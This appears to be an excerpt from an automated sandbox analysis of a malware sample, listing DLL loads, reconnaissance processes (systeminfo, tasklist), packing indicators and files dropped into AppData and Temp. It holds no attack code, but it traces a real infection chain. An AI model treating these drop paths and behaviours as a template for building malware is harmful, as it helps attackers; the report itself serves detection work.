Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1245183 > 1048576

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: C.pdb source: azvw.exe, 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmp, nircmdc.exe.52.dr

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: 7zxa.dll.52.dr	Static PE information: real checksum: 0x0 should be: 0x316b6
Source: 7za.dll.52.dr	Static PE information: real checksum: 0x0 should be: 0x4352d
Source: zip.exe.52.dr	Static PE information: real checksum: 0x0 should be: 0x30da3
Source: nircmdc.exe.52.dr	Static PE information: real checksum: 0x0 should be: 0x157f0
Source: file.exe	Static PE information: real checksum: 0x138e94 should be: 0x139977
Source: 7za.exe.52.dr	Static PE information: real checksum: 0x0 should be: 0xae01b

Source: 7zxa.dll.52.dr	Static PE information: section name: .sxdata
Source: 7za.dll.52.dr	Static PE information: section name: .sxdata
Source: 7za.exe.52.dr	Static PE information: section name: .sxdata

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_0041B280 push eax; ret	52_2_0041B2AE
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_3_007F990C push ebp; iretd	88_3_007F990D
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_3_0080E110 push ds; iretd	88_3_0080E122
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_3_0080C340 push eax; ret	88_3_0080C341
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_3_007FC7AC push ebp; iretd	88_3_007FC7AD
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_3_0080C364 push eax; ret	88_3_0080C365

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\303482\Either.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	File created: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	File created: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\zip.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\7za.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Rocky	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo64.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\303482\Either.pif	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\7zxa.dll	Jump to dropped file
